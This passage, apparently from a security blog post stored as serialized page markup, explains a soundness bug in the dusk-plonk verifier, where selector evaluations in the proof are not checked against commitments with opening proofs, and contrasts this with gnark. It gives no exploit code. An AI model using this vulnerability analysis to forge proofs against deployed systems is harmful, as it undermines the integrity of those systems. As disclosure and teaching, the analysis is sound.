{"type":23,"tag":504,"props":145631,"children":145633},{"className":145632,"ariaHidden":513},[512],[145634,145675,145716],{"type":23,"tag":504,"props":145635,"children":145637},{"className":145636},[518],[145638,145642,145647,145652,145657,145662,145666,145671],{"type":23,"tag":504,"props":145639,"children":145641},{"className":145640,"style":2160},[523],[],{"type":23,"tag":504,"props":145643,"children":145645},{"className":145644,"style":563},[529,530],[145646],{"type":29,"value":123604},{"type":23,"tag":504,"props":145648,"children":145650},{"className":145649},[600],[145651],{"type":29,"value":603},{"type":23,"tag":504,"props":145653,"children":145655},{"className":145654},[529,530],[145656],{"type":29,"value":21327},{"type":23,"tag":504,"props":145658,"children":145660},{"className":145659},[930],[145661],{"type":29,"value":933},{"type":23,"tag":504,"props":145663,"children":145665},{"className":145664,"style":538},[537],[],{"type":23,"tag":504,"props":145667,"children":145669},{"className":145668},[543],[145670],{"type":29,"value":546},{"type":23,"tag":504,"props":145672,"children":145674},{"className":145673,"style":538},[537],[],{"type":23,"tag":504,"props":145676,"children":145678},{"className":145677},[518],[145679,145683,145688,145693,145698,145703,145707,145712],{"type":23,"tag":504,"props":145680,"children":145682},{"className":145681,"style":2160},[523],[],{"type":23,"tag":504,"props":145684,"children":145686},{"className":145685,"style":563},[529,530],[145687],{"type":29,"value":8033},{"type":23,"tag":504,"props":145689,"children":145691},{"className":145690},[600],[145692],{"type":29,"value":603},{"type":23,"tag":504,"props":145694,"children":145696},{"className":145695},[529,530],[145697],{"type":29,"value":21327},{"type":23,"tag":504,"props":145699,"children":145701},{"className":145700},[930],[145702],{"type":29,"value":933},{"type":23,"tag":504,"props":145704,"children":145706},{"className":145705,"style":1426},[537],[],{"type":23,"tag":504,"props":145708,"children":145710},{"className":145709},[1431],[145711],{"type":29,"value":113088},{"type":23,"tag":504,"props":145713,"children":145715},{"className":145714,"style":1426},[537],[],{"type":23,"tag":504,"props":145717,"children":145719},{"className":145718},[518],[145720,145724,145729,145734,145739],{"type":23,"tag":504,"props":145721,"children":145723},{"className":145722,"style":2160},[523],[],{"type":23,"tag":504,"props":145725,"children":145727},{"className":145726,"style":24160},[529,530],[145728],{"type":29,"value":145390},{"type":23,"tag":504,"props":145730,"children":145732},{"className":145731},[600],[145733],{"type":29,"value":603},{"type":23,"tag":504,"props":145735,"children":145737},{"className":145736},[529,530],[145738],{"type":29,"value":21327},{"type":23,"tag":504,"props":145740,"children":145742},{"className":145741},[930],[145743],{"type":29,"value":933},{"type":29,"value":357},{"type":23,"tag":32,"props":145746,"children":145747},{},[145748],{"type":23,"tag":199,"props":145749,"children":145752},{"alt":145750,"src":145751},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":320,"props":145754,"children":145756},{"id":145755},"polynomial-commitments-and-opening-proofs",[145757],{"type":29,"value":145758},"Polynomial commitments and opening proofs",{"type":23,"tag":32,"props":145760,"children":145761},{},[145762,145764,145769,145771,145776],{"type":29,"value":145763},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":4321,"props":145765,"children":145766},{},[145767],{"type":29,"value":145768},"commitments",{"type":29,"value":145770},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":23,"tag":4321,"props":145772,"children":145773},{},[145774],{"type":29,"value":145775},"opening proof",{"type":29,"value":145777}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":32,"props":145779,"children":145780},{},[145781],{"type":29,"value":145782},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":320,"props":145784,"children":145786},{"id":145785},"reducing-to-a-single-random-point",[145787],{"type":29,"value":145788},"Reducing to a single random point",{"type":23,"tag":32,"props":145790,"children":145791},{},[145792,145794,145834,145836,145861,145863,145985,145987,146012],{"type":29,"value":145793},"After the prover commits to all polynomials, including ",{"type":23,"tag":154,"props":145795,"children":145797},{"className":145796},[500,501],[145798],{"type":23,"tag":504,"props":145799,"children":145801},{"className":145800},[507],[145802],{"type":23,"tag":504,"props":145803,"children":145805},{"className":145804,"ariaHidden":513},[512],[145806],{"type":23,"tag":504,"props":145807,"children":145809},{"className":145808},[518],[145810,145814,145819,145824,145829],{"type":23,"tag":504,"props":145811,"children":145813},{"className":145812,"style":2160},[523],[],{"type":23,"tag":504,"props":145815,"children":145817},{"className":145816,"style":563},[529,530],[145818],{"type":29,"value":8033},{"type":23,"tag":504,"props":145820,"children":145822},{"className":145821},[600],[145823],{"type":29,"value":603},{"type":23,"tag":504,"props":145825,"children":145827},{"className":145826},[529,530],[145828],{"type":29,"value":21327},{"type":23,"tag":504,"props":145830,"children":145832},{"className":145831},[930],[145833],{"type":29,"value":933},{"type":29,"value":145835},", the verifier picks a random challenge point ",{"type":23,"tag":154,"props":145837,"children":145839},{"className":145838},[500,501],[145840],{"type":23,"tag":504,"props":145841,"children":145843},{"className":145842},[507],[145844],{"type":23,"tag":504,"props":145845,"children":145847},{"className":145846,"ariaHidden":513},[512],[145848],{"type":23,"tag":504,"props":145849,"children":145851},{"className":145850},[518],[145852,145856],{"type":23,"tag":504,"props":145853,"children":145855},{"className":145854,"style":112667},[523],[],{"type":23,"tag":504,"props":145857,"children":145859},{"className":145858,"style":115383},[529,530],[145860],{"type":29,"value":115386},{"type":29,"value":145862}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":154,"props":145864,"children":145866},{"className":145865},[500,501],[145867],{"type":23,"tag":504,"props":145868,"children":145870},{"className":145869},[507],[145871],{"type":23,"tag":504,"props":145872,"children":145874},{"className":145873,"ariaHidden":513},[512],[145875,145916,145957],{"type":23,"tag":504,"props":145876,"children":145878},{"className":145877},[518],[145879,145883,145888,145893,145898,145903,145907,145912],{"type":23,"tag":504,"props":145880,"children":145882},{"className":145881,"style":2160},[523],[],{"type":23,"tag":504,"props":145884,"children":145886},{"className":145885,"style":563},[529,530],[145887],{"type":29,"value":123604},{"type":23,"tag":504,"props":145889,"children":145891},{"className":145890},[600],[145892],{"type":29,"value":603},{"type":23,"tag":504,"props":145894,"children":145896},{"className":145895,"style":115383},[529,530],[145897],{"type":29,"value":115386},{"type":23,"tag":504,"props":145899,"children":145901},{"className":145900},[930],[145902],{"type":29,"value":933},{"type":23,"tag":504,"props":145904,"children":145906},{"className":145905,"style":538},[537],[],{"type":23,"tag":504,"props":145908,"children":145910},{"className":145909},[543],[145911],{"type":29,"value":546},{"type":23,"tag":504,"props":145913,"children":145915},{"className":145914,"style":538},[537],[],{"type":23,"tag":504,"props":145917,"children":145919},{"className":145918},[518],[145920,145924,145929,145934,145939,145944,145948,145953],{"type":23,"tag":504,"props":145921,"children":145923},{"className":145922,"style":2160},[523],[],{"type":23,"tag":504,"props":145925,"children":145927},{"className":145926,"style":563},[529,530],[145928],{"type":29,"value":8033},{"type":23,"tag":504,"props":145930,"children":145932},{"className":145931},[600],[145933],{"type":29,"value":603},{"type":23,"tag":504,"props":145935,"children":145937},{"className":145936,"style":115383},[529,530],[145938],{"type":29,"value":115386},{"type":23,"tag":504,"props":145940,"children":145942},{"className":145941},[930],[145943],{"type":29,"value":933},{"type":23,"tag":504,"props":145945,"children":145947},{"className":145946,"style":1426},[537],[],{"type":23,"tag":504,"props":145949,"children":145951},{"className":145950},[1431],[145952],{"type":29,"value":113088},{"type":23,"tag":504,"props":145954,"children":145956},{"className":145955,"style":1426},[537],[],{"type":23,"tag":504,"props":145958,"children":145960},{"className":145959},[518],[145961,145965,145970,145975,145980],{"type":23,"tag":504,"props":145962,"children":145964},{"className":145963,"style":2160},[523],[],{"type":23,"tag":504,"props":145966,"children":145968},{"className":145967,"style":24160},[529,530],[145969],{"type":29,"value":145390},{"type":23,"tag":504,"props":145971,"children":145973},{"className":145972},[600],[145974],{"type":29,"value":603},{"type":23,"tag":504,"props":145976,"children":145978},{"className":145977,"style":115383},[529,530],[145979],{"type":29,"value":115386},{"type":23,"tag":504,"props":145981,"children":145983},{"className":145982},[930],[145984],{"type":29,"value":933},{"type":29,"value":145986}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":154,"props":145988,"children":145990},{"className":145989},[500,501],[145991],{"type":23,"tag":504,"props":145992,"children":145994},{"className":145993},[507],[145995],{"type":23,"tag":504,"props":145996,"children":145998},{"className":145997,"ariaHidden":513},[512],[145999],{"type":23,"tag":504,"props":146000,"children":146002},{"className":146001},[518],[146003,146007],{"type":23,"tag":504,"props":146004,"children":146006},{"className":146005,"style":112667},[523],[],{"type":23,"tag":504,"props":146008,"children":146010},{"className":146009,"style":115383},[529,530],[146011],{"type":29,"value":115386},{"type":29,"value":146013}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":32,"props":146015,"children":146016},{},[146017,146019,146044,146046,146051],{"type":29,"value":146018},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":154,"props":146020,"children":146022},{"className":146021},[500,501],[146023],{"type":23,"tag":504,"props":146024,"children":146026},{"className":146025},[507],[146027],{"type":23,"tag":504,"props":146028,"children":146030},{"className":146029,"ariaHidden":513},[512],[146031],{"type":23,"tag":504,"props":146032,"children":146034},{"className":146033},[518],[146035,146039],{"type":23,"tag":504,"props":146036,"children":146038},{"className":146037,"style":112667},[523],[],{"type":23,"tag":504,"props":146040,"children":146042},{"className":146041,"style":115383},[529,530],[146043],{"type":29,"value":115386},{"type":29,"value":146045},", the prover supplies ",{"type":23,"tag":4321,"props":146047,"children":146048},{},[146049],{"type":29,"value":146050},"evaluation claims",{"type":29,"value":146052}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":32,"props":146054,"children":146055},{},[146056,146058,146062],{"type":29,"value":146057},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":4321,"props":146059,"children":146060},{},[146061],{"type":29,"value":106370},{"type":29,"value":146063}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":320,"props":146065,"children":146067},{"id":146066},"what-the-verifier-is-actually-allowed-to-trust",[146068],{"type":29,"value":146069},"What the verifier is actually allowed to trust",{"type":23,"tag":32,"props":146071,"children":146072},{},[146073,146075,146080],{"type":29,"value":146074},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":38,"props":146076,"children":146077},{},[146078],{"type":29,"value":146079},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":29,"value":357},{"type":23,"tag":32,"props":146082,"children":146083},{},[146084,146086,146178,146179,146271,146273,146298,146300,146340,146341,146381,146382,146475,146476,146522,146524,146611,146612,146699,146700,146787],{"type":29,"value":146085},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":154,"props":146087,"children":146089},{"className":146088},[500,501],[146090],{"type":23,"tag":504,"props":146091,"children":146093},{"className":146092},[507],[146094],{"type":23,"tag":504,"props":146095,"children":146097},{"className":146096,"ariaHidden":513},[512],[146098],{"type":23,"tag":504,"props":146099,"children":146101},{"className":146100},[518],[146102,146106,146163,146168,146173],{"type":23,"tag":504,"props":146103,"children":146105},{"className":146104,"style":2160},[523],[],{"type":23,"tag":504,"props":146107,"children":146109},{"className":146108},[529],[146110,146115],{"type":23,"tag":504,"props":146111,"children":146113},{"className":146112,"style":24160},[529,530],[146114],{"type":29,"value":145390},{"type":23,"tag":504,"props":146116,"children":146118},{"className":146117},[666],[146119],{"type":23,"tag":504,"props":146120,"children":146122},{"className":146121},[671,672],[146123,146152],{"type":23,"tag":504,"props":146124,"children":146126},{"className":146125},[677],[146127,146147],{"type":23,"tag":504,"props":146128,"children":146130},{"className":146129,"style":144381},[682],[146131],{"type":23,"tag":504,"props":146132,"children":146133},{"style":118075},[146134,146138],{"type":23,"tag":504,"props":146135,"children":146137},{"className":146136,"style":693},[692],[],{"type":23,"tag":504,"props":146139,"children":146141},{"className":146140},[698,699,700,701],[146142],{"type":23,"tag":504,"props":146143,"children":146145},{"className":146144,"style":879},[529,530,701],[146146],{"type":29,"value":882},{"type":23,"tag":504,"props":146148,"children":146150},{"className":146149},[712],[146151],{"type":29,"value":715},{"type":23,"tag":504,"props":146153,"children":146155},{"className":146154},[677],[146156],{"type":23,"tag":504,"props":146157,"children":146159},{"className":146158,"style":723},[682],[146160],{"type":23,"tag":504,"props":146161,"children":146162},{},[],{"type":23,"tag":504,"props":146164,"children":146166},{"className":146165},[600],[146167],{"type":29,"value":603},{"type":23,"tag":504,"props":146169,"children":146171},{"className":146170,"style":115383},[529,530],[146172],{"type":29,"value":115386},{"type":23,"tag":504,"props":146174,"children":146176},{"className":146175},[930],[146177],{"type":29,"value":933},{"type":29,"value":4367},{"type":23,"tag":154,"props":146180,"children":146182},{"className":146181},[500,501],[146183],{"type":23,"tag":504,"props":146184,"children":146186},{"className":146185},[507],[146187],{"type":23,"tag":504,"props":146188,"children":146190},{"className":146189,"ariaHidden":513},[512],[146191],{"type":23,"tag":504,"props":146192,"children":146194},{"className":146193},[518],[146195,146199,146256,146261,146266],{"type":23,"tag":504,"props":146196,"children":146198},{"className":146197,"style":2160},[523],[],{"type":23,"tag":504,"props":146200,"children":146202},{"className":146201},[529],[146203,146208],{"type":23,"tag":504,"props":146204,"children":146206},{"className":146205},[529,530],[146207],{"type":29,"value":119790},{"type":23,"tag":504,"props":146209,"children":146211},{"className":146210},[666],[146212],{"type":23,"tag":504,"props":146213,"children":146215},{"className":146214},[671,672],[146216,146245],{"type":23,"tag":504,"props":146217,"children":146219},{"className":146218},[677],[146220,146240],{"type":23,"tag":504,"props":146221,"children":146223},{"className":146222,"style":683},[682],[146224],{"type":23,"tag":504,"props":146225,"children":146226},{"style":687},[146227,146231],{"type":23,"tag":504,"props":146228,"children":146230},{"className":146229,"style":693},[692],[],{"type":23,"tag":504,"props":146232,"children":146234},{"className":146233},[698,699,700,701],[146235],{"type":23,"tag":504,"props":146236,"children":146238},{"className":146237},[529,701],[146239],{"type":29,"value":826},{"type":23,"tag":504,"props":146241,"children":146243},{"className":146242},[712],[146244],{"type":29,"value":715},{"type":23,"tag":504,"props":146246,"children":146248},{"className":146247},[677],[146249],{"type":23,"tag":504,"props":146250,"children":146252},{"className":146251,"style":723},[682],[146253],{"type":23,"tag":504,"props":146254,"children":146255},{},[],{"type":23,"tag":504,"props":146257,"children":146259},{"className":146258},[600],[146260],{"type":29,"value":603},{"type":23,"tag":504,"props":146262,"children":146264},{"className":146263,"style":115383},[529,530],[146265],{"type":29,"value":115386},{"type":23,"tag":504,"props":146267,"children":146269},{"className":146268},[930],[146270],{"type":29,"value":933},{"type":29,"value":146272},", the public-input polynomial at ",{"type":23,"tag":154,"props":146274,"children":146276},{"className":146275},[500,501],[146277],{"type":23,"tag":504,"props":146278,"children":146280},{"className":146279},[507],[146281],{"type":23,"tag":504,"props":146282,"children":146284},{"className":146283,"ariaHidden":513},[512],[146285],{"type":23,"tag":504,"props":146286,"children":146288},{"className":146287},[518],[146289,146293],{"type":23,"tag":504,"props":146290,"children":146292},{"className":146291,"style":112667},[523],[],{"type":23,"tag":504,"props":146294,"children":146296},{"className":146295,"style":115383},[529,530],[146297],{"type":29,"value":115386},{"type":29,"value":146299},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":23,"tag":154,"props":146301,"children":146303},{"className":146302},[500,501],[146304],{"type":23,"tag":504,"props":146305,"children":146307},{"className":146306},[507],[146308],{"type":23,"tag":504,"props":146309,"children":146311},{"className":146310,"ariaHidden":513},[512],[146312],{"type":23,"tag":504,"props":146313,"children":146315},{"className":146314},[518],[146316,146320,146325,146330,146335],{"type":23,"tag":504,"props":146317,"children":146319},{"className":146318,"style":2160},[523],[],{"type":23,"tag":504,"props":146321,"children":146323},{"className":146322},[529,530],[146324],{"type":29,"value":68},{"type":23,"tag":504,"props":146326,"children":146328},{"className":146327},[600],[146329],{"type":29,"value":603},{"type":23,"tag":504,"props":146331,"children":146333},{"className":146332,"style":115383},[529,530],[146334],{"type":29,"value":115386},{"type":23,"tag":504,"props":146336,"children":146338},{"className":146337},[930],[146339],{"type":29,"value":933},{"type":29,"value":4367},{"type":23,"tag":154,"props":146342,"children":146344},{"className":146343},[500,501],[146345],{"type":23,"tag":504,"props":146346,"children":146348},{"className":146347},[507],[146349],{"type":23,"tag":504,"props":146350,"children":146352},{"className":146351,"ariaHidden":513},[512],[146353],{"type":23,"tag":504,"props":146354,"children":146356},{"className":146355},[518],[146357,146361,146366,146371,146376],{"type":23,"tag":504,"props":146358,"children":146360},{"className":146359,"style":2160},[523],[],{"type":23,"tag":504,"props":146362,"children":146364},{"className":146363},[529,530],[146365],{"type":29,"value":3003},{"type":23,"tag":504,"props":146367,"children":146369},{"className":146368},[600],[146370],{"type":29,"value":603},{"type":23,"tag":504,"props":146372,"children":146374},{"className":146373,"style":115383},[529,530],[146375],{"type":29,"value":115386},{"type":23,"tag":504,"props":146377,"children":146379},{"className":146378},[930],[146380],{"type":29,"value":933},{"type":29,"value":4367},{"type":23,"tag":154,"props":146383,"children":146385},{"className":146384},[500,501],[146386],{"type":23,"tag":504,"props":146387,"children":146389},{"className":146388},[507],[146390],{"type":23,"tag":504,"props":146391,"children":146393},{"className":146392,"ariaHidden":513},[512],[146394],{"type":23,"tag":504,"props":146395,"children":146397},{"className":146396},[518],[146398,146402,146460,146465,146470],{"type":23,"tag":504,"props":146399,"children":146401},{"className":146400,"style":2160},[523],[],{"type":23,"tag":504,"props":146403,"children":146405},{"className":146404},[529],[146406,146412],{"type":23,"tag":504,"props":146407,"children":146409},{"className":146408,"style":1136},[529,530],[146410],{"type":29,"value":146411},"σ",{"type":23,"tag":504,"props":146413,"children":146415},{"className":146414},[666],[146416],{"type":23,"tag":504,"props":146417,"children":146419},{"className":146418},[671,672],[146420,146449],{"type":23,"tag":504,"props":146421,"children":146423},{"className":146422},[677],[146424,146444],{"type":23,"tag":504,"props":146425,"children":146427},{"className":146426,"style":683},[682],[146428],{"type":23,"tag":504,"props":146429,"children":146430},{"style":1184},[146431,146435],{"type":23,"tag":504,"props":146432,"children":146434},{"className":146433,"style":693},[692],[],{"type":23,"tag":504,"props":146436,"children":146438},{"className":146437},[698,699,700,701],[146439],{"type":23,"tag":504,"props":146440,"children":146442},{"className":146441},[529,701],[146443],{"type":29,"value":826},{"type":23,"tag":504,"props":146445,"children":146447},{"className":146446},[712],[146448],{"type":29,"value":715},{"type":23,"tag":504,"props":146450,"children":146452},{"className":146451},[677],[146453],{"type":23,"tag":504,"props":146454,"children":146456},{"className":146455,"style":723},[682],[146457],{"type":23,"tag":504,"props":146458,"children":146459},{},[],{"type":23,"tag":504,"props":146461,"children":146463},{"className":146462},[600],[146464],{"type":29,"value":603},{"type":23,"tag":504,"props":146466,"children":146468},{"className":146467,"style":115383},[529,530],[146469],{"type":29,"value":115386},{"type":23,"tag":504,"props":146471,"children":146473},{"className":146472},[930],[146474],{"type":29,"value":933},{"type":29,"value":4367},{"type":23,"tag":154,"props":146477,"children":146479},{"className":146478},[500,501],[146480],{"type":23,"tag":504,"props":146481,"children":146483},{"className":146482},[507],[146484],{"type":23,"tag":504,"props":146485,"children":146487},{"className":146486,"ariaHidden":513},[512],[146488],{"type":23,"tag":504,"props":146489,"children":146491},{"className":146490},[518],[146492,146496,146501,146506,146511,146517],{"type":23,"tag":504,"props":146493,"children":146495},{"className":146494,"style":2160},[523],[],{"type":23,"tag":504,"props":146497,"children":146499},{"className":146498},[529,530],[146500],{"type":29,"value":68},{"type":23,"tag":504,"props":146502,"children":146504},{"className":146503},[600],[146505],{"type":29,"value":603},{"type":23,"tag":504,"props":146507,"children":146509},{"className":146508,"style":115383},[529,530],[146510],{"type":29,"value":115386},{"type":23,"tag":504,"props":146512,"children":146514},{"className":146513,"style":1136},[529,530],[146515],{"type":29,"value":146516},"ω",{"type":23,"tag":504,"props":146518,"children":146520},{"className":146519},[930],[146521],{"type":29,"value":933},{"type":29,"value":146523},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":154,"props":146525,"children":146527},{"className":146526},[500,501],[146528],{"type":23,"tag":504,"props":146529,"children":146531},{"className":146530},[507],[146532],{"type":23,"tag":504,"props":146533,"children":146535},{"className":146534,"ariaHidden":513},[512],[146536],{"type":23,"tag":504,"props":146537,"children":146539},{"className":146538},[518],[146540,146544,146549,146606],{"type":23,"tag":504,"props":146541,"children":146543},{"className":146542,"style":2160},[523],[],{"type":23,"tag":504,"props":146545,"children":146547},{"className":146546},[600],[146548],{"type":29,"value":1380},{"type":23,"tag":504,"props":146550,"children":146552},{"className":146551},[529],[146553,146558],{"type":23,"tag":504,"props":146554,"children":146556},{"className":146555,"style":1136},[529,530],[146557],{"type":29,"value":1139},{"type":23,"tag":504,"props":146559,"children":146561},{"className":146560},[666],[146562],{"type":23,"tag":504,"props":146563,"children":146565},{"className":146564},[671,672],[146566,146595],{"type":23,"tag":504,"props":146567,"children":146569},{"className":146568},[677],[146570,146590],{"type":23,"tag":504,"props":146571,"children":146573},{"className":146572,"style":144381},[682],[146574],{"type":23,"tag":504,"props":146575,"children":146576},{"style":1184},[146577,146581],{"type":23,"tag":504,"props":146578,"children":146580},{"className":146579,"style":693},[692],[],{"type":23,"tag":504,"props":146582,"children":146584},{"className":146583},[698,699,700,701],[146585],{"type":23,"tag":504,"props":146586,"children":146588},{"className":146587,"style":2674},[529,530,701],[146589],{"type":29,"value":2677},{"type":23,"tag":504,"props":146591,"children":146593},{"className":146592},[712],[146594],{"type":29,"value":715},{"type":23,"tag":504,"props":146596,"children":146598},{"className":146597},[677],[146599],{"type":23,"tag":504,"props":146600,"children":146602},{"className":146601,"style":723},[682],[146603],{"type":23,"tag":504,"props":146604,"children":146605},{},[],{"type":23,"tag":504,"props":146607,"children":146609},{"className":146608},[930],[146610],{"type":29,"value":1422},{"type":29,"value":4367},{"type":23,"tag":154,"props":146613,"children":146615},{"className":146614},[500,501],[146616],{"type":23,"tag":504,"props":146617,"children":146619},{"className":146618},[507],[146620],{"type":23,"tag":504,"props":146621,"children":146623},{"className":146622,"ariaHidden":513},[512],[146624],{"type":23,"tag":504,"props":146625,"children":146627},{"className":146626},[518],[146628,146632,146637,146694],{"type":23,"tag":504,"props":146629,"children":146631},{"className":146630,"style":2160},[523],[],{"type":23,"tag":504,"props":146633,"children":146635},{"className":146634},[600],[146636],{"type":29,"value":1380},{"type":23,"tag":504,"props":146638,"children":146640},{"className":146639},[529],[146641,146646],{"type":23,"tag":504,"props":146642,"children":146644},{"className":146643,"style":1136},[529,530],[146645],{"type":29,"value":1139},{"type":23,"tag":504,"props":146647,"children":146649},{"className":146648},[666],[146650],{"type":23,"tag":504,"props":146651,"children":146653},{"className":146652},[671,672],[146654,146683],{"type":23,"tag":504,"props":146655,"children":146657},{"className":146656},[677],[146658,146678],{"type":23,"tag":504,"props":146659,"children":146661},{"className":146660,"style":144381},[682],[146662],{"type":23,"tag":504,"props":146663,"children":146664},{"style":1184},[146665,146669],{"type":23,"tag":504,"props":146666,"children":146668},{"className":146667,"style":693},[692],[],{"type":23,"tag":504,"props":146670,"children":146672},{"className":146671},[698,699,700,701],[146673],{"type":23,"tag":504,"props":146674,"children":146676},{"className":146675,"style":624},[529,530,701],[146677],{"type":29,"value":117145},{"type":23,"tag":504,"props":146679,"children":146681},{"className":146680},[712],[146682],{"type":29,"value":715},{"type":23,"tag":504,"props":146684,"children":146686},{"className":146685},[677],[146687],{"type":23,"tag":504,"props":146688,"children":146690},{"className":146689,"style":723},[682],[146691],{"type":23,"tag":504,"props":146692,"children":146693},{},[],{"type":23,"tag":504,"props":146695,"children":146697},{"className":146696},[930],[146698],{"type":29,"value":1422},{"type":29,"value":4367},{"type":23,"tag":154,"props":146701,"children":146703},{"className":146702},[500,501],[146704],{"type":23,"tag":504,"props":146705,"children":146707},{"className":146706},[507],[146708],{"type":23,"tag":504,"props":146709,"children":146711},{"className":146710,"ariaHidden":513},[512],[146712],{"type":23,"tag":504,"props":146713,"children":146715},{"className":146714},[518],[146716,146720,146725,146782],{"type":23,"tag":504,"props":146717,"children":146719},{"className":146718,"style":2160},[523],[],{"type":23,"tag":504,"props":146721,"children":146723},{"className":146722},[600],[146724],{"type":29,"value":1380},{"type":23,"tag":504,"props":146726,"children":146728},{"className":146727},[529],[146729,146734],{"type":23,"tag":504,"props":146730,"children":146732},{"className":146731,"style":1136},[529,530],[146733],{"type":29,"value":146411},{"type":23,"tag":504,"props":146735,"children":146737},{"className":146736},[666],[146738],{"type":23,"tag":504,"props":146739,"children":146741},{"className":146740},[671,672],[146742,146771],{"type":23,"tag":504,"props":146743,"children":146745},{"className":146744},[677],[146746,146766],{"type":23,"tag":504,"props":146747,"children":146749},{"className":146748,"style":683},[682],[146750],{"type":23,"tag":504,"props":146751,"children":146752},{"style":1184},[146753,146757],{"type":23,"tag":504,"props":146754,"children":146756},{"className":146755,"style":693},[692],[],{"type":23,"tag":504,"props":146758,"children":146760},{"className":146759},[698,699,700,701],[146761],{"type":23,"tag":504,"props":146762,"children":146764},{"className":146763},[529,701],[146765],{"type":29,"value":19577},{"type":23,"tag":504,"props":146767,"children":146769},{"className":146768},[712],[146770],{"type":29,"value":715},{"type":23,"tag":504,"props":146772,"children":146774},{"className":146773},[677],[146775],{"type":23,"tag":504,"props":146776,"children":146778},{"className":146777,"style":723},[682],[146779],{"type":23,"tag":504,"props":146780,"children":146781},{},[],{"type":23,"tag":504,"props":146783,"children":146785},{"className":146784},[930],[146786],{"type":29,"value":1422},{"type":29,"value":146788},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":32,"props":146790,"children":146791},{},[146792],{"type":29,"value":146793},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":23,"tag":20844,"props":146795,"children":146796},{},[],{"type":23,"tag":24,"props":146798,"children":146800},{"id":146799},"where-dusk-plonk-differs-from-textbook-plonk",[146801],{"type":29,"value":146802},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":32,"props":146804,"children":146805},{},[146806,146815,146817,146822,146824,146854],{"type":23,"tag":68,"props":146807,"children":146809},{"href":143681,"rel":146808},[72],[146810],{"type":23,"tag":154,"props":146811,"children":146813},{"className":146812},[],[146814],{"type":29,"value":143685},{"type":29,"value":146816}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":154,"props":146818,"children":146820},{"className":146819},[],[146821],{"type":29,"value":584},{"type":29,"value":146823},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":154,"props":146825,"children":146827},{"className":146826},[500,501],[146828],{"type":23,"tag":504,"props":146829,"children":146831},{"className":146830},[507],[146832],{"type":23,"tag":504,"props":146833,"children":146835},{"className":146834,"ariaHidden":513},[512],[146836],{"type":23,"tag":504,"props":146837,"children":146839},{"className":146838},[518],[146840,146844,146849],{"type":23,"tag":504,"props":146841,"children":146843},{"className":146842,"style":112667},[523],[],{"type":23,"tag":504,"props":146845,"children":146847},{"className":146846,"style":115383},[529,530],[146848],{"type":29,"value":115386},{"type":23,"tag":504,"props":146850,"children":146852},{"className":146851,"style":1136},[529,530],[146853],{"type":29,"value":146516},{"type":29,"value":146855},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":32,"props":146857,"children":146858},{},[146859,146861,146866,146867,146872,146874,146880,146882,146889],{"type":29,"value":146860},"The important part for this bug is the boundary between ",{"type":23,"tag":38,"props":146862,"children":146863},{},[146864],{"type":29,"value":146865},"public circuit data",{"type":29,"value":4478},{"type":23,"tag":38,"props":146868,"children":146869},{},[146870],{"type":29,"value":146871},"prover claims about that data at the random challenge point",{"type":29,"value":146873},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":154,"props":146875,"children":146877},{"className":146876},[],[146878],{"type":29,"value":146879},"Ql, Qr, Qm, Qo, Qk",{"type":29,"value":146881}," directly into the ",{"type":23,"tag":68,"props":146883,"children":146886},{"href":146884,"rel":146885},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[72],[146887],{"type":29,"value":146888},"linearization multi-scalar multiplication",{"type":29,"value":146890},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":32,"props":146892,"children":146893},{},[146894,146896,146921],{"type":29,"value":146895},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":154,"props":146897,"children":146899},{"className":146898},[500,501],[146900],{"type":23,"tag":504,"props":146901,"children":146903},{"className":146902},[507],[146904],{"type":23,"tag":504,"props":146905,"children":146907},{"className":146906,"ariaHidden":513},[512],[146908],{"type":23,"tag":504,"props":146909,"children":146911},{"className":146910},[518],[146912,146916],{"type":23,"tag":504,"props":146913,"children":146915},{"className":146914,"style":112667},[523],[],{"type":23,"tag":504,"props":146917,"children":146919},{"className":146918,"style":115383},[529,530],[146920],{"type":29,"value":115386},{"type":29,"value":146922}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":32,"props":146924,"children":146925},{},[146926],{"type":29,"value":146927},"The shortest way to see the bug is the graph below: 